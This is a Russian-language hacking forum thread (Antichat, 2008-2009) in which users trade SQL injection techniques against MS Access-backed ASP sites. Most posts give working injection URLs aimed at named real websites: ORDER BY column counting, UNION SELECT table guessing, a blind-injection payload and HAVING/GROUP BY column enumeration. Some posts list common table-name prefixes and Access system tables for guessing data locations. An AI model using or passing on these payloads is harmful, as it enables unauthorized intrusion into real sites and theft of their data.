30.08.2008, 13:01
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Столкнулся с такой проблемой, возьму для примера Url из этой-же статьи
------------------
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1
------------------
кол-во
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+order+by+8
------------------
вывод:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1,2,3,4,5,6,7,8+f rom+users
cannot find the input table or query 'users'
Нет таблицы, как я понимаю
------------------
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1,2,3,4,5,6,7,8+f rom+user
Syntax error in FROM clause
А это что? Таблица есть , ошибка синтаксиса?
------------------
И такая фигня на нескольких сайтах
Киньте ,кому не трудно,любой рабочий пример с выводом, сюда или в ПМ.
|
|
|
02.09.2008, 16:10
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Та же хрень,только на другом сайте.Исходя из логики,таблица юзер есть,но ошибка в запросе.
|
|
|
|
02.09.2008, 16:12
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Мб это ещё может быть служебная команда или предикат, например as
|
|
|
|
20.09.2008, 14:03
|
|
Новичок
Регистрация: 18.05.2007
Сообщений: 28
С нами:
9991175
Репутация:
20
|
|
"select ... from user"
использоваться нельзя, так как user это внутреннее имя и таблицой оно быть не может.
|
|
|
|
07.10.2008, 08:40
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами:
10459106
Репутация:
2996
|
|
"select ... from user"
использоваться нельзя, так как user это внутреннее имя и таблицой оно быть не может.
user
password
day
catalog
По личному опыту
в 40% используетья префикс
tbl
tbl_
в 10% случаев
<имясайта>
<имясайта>_
По поводу системных таблиц
MSysACEs
MSysCmdbars
MSysModules
MSysModules2
MSysObjects
MSysQueries
MSysRelationships
Не разу не было доступа до них.
Повышение прав аналогично с mssql.
|
|
|
|
20.12.2008, 22:21
|
|
Познающий
Регистрация: 24.11.2008
Сообщений: 35
С нами:
9190077
Репутация:
4
|
|
А может ктонить подробнее про повышение прав?
и еще на http://www.darkc0de.com/tutorials/MS...tion_Paper.txt читал про некоторую команду
table.columnfromerror1
You can find the columns names by using HAVEING BY, for example
HAVING 1=1 --
GROUP BY table.columnfromerror1 HAVING 1=1 --
GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and on and on ...
Может кто-нить подробнее описать данную функу??? С примером, потому что как не пробовал не получается 
Последний раз редактировалось NewBHack; 22.12.2008 в 00:57..
|
|
|
|
25.06.2009, 11:32
|
|
Познающий
Регистрация: 17.03.2007
Сообщений: 98
С нами:
10080415
Репутация:
45
|
|
Никак немогу понять запроса
http://permnews.ru/l_otzv.asp?kt=5388'
причем здесь двойные скобки и как делать union select?
|
|
|
|
25.06.2009, 13:26
|
|
Участник форума
Регистрация: 18.05.2008
Сообщений: 130
С нами:
9463474
Репутация:
155
|
|
Сообщение от 2pick
Никак немогу понять запроса
http://permnews.ru/l_otzv.asp?kt=5388'
причем здесь двойные скобки и как делать union select?
тут баги нету.
|
|
|
|
26.06.2009, 06:59
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
http://permnews.ru/l_otzv.asp?kt=5388))%20and%201=1%20and%20((1=1
слепая
__________________
Карфаген должен быть разрушен...
|
|
|
|
07.10.2009, 04:21
|
|
Новичок
Регистрация: 10.05.2009
Сообщений: 6
С нами:
8949677
Репутация:
0
|
|
Может это считается за флуд, но у меня проблемка с Access'ом - при нажатии на нужное значение столбца(которое мне надо исправить) появляется такая ошибка: "Возникла ошибка при установке связи в приложении Microsoft Access с сервером OLE или элементом управления ActiveX" В режиме конструктора видно, что это Ole-Объект, но как его можно модифицировать?
P.S. На машине запущена служба, которая и записывает значение(
тот самый Ole-объект) в файл. Моя аська в профиле. Плиз, помогите.
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
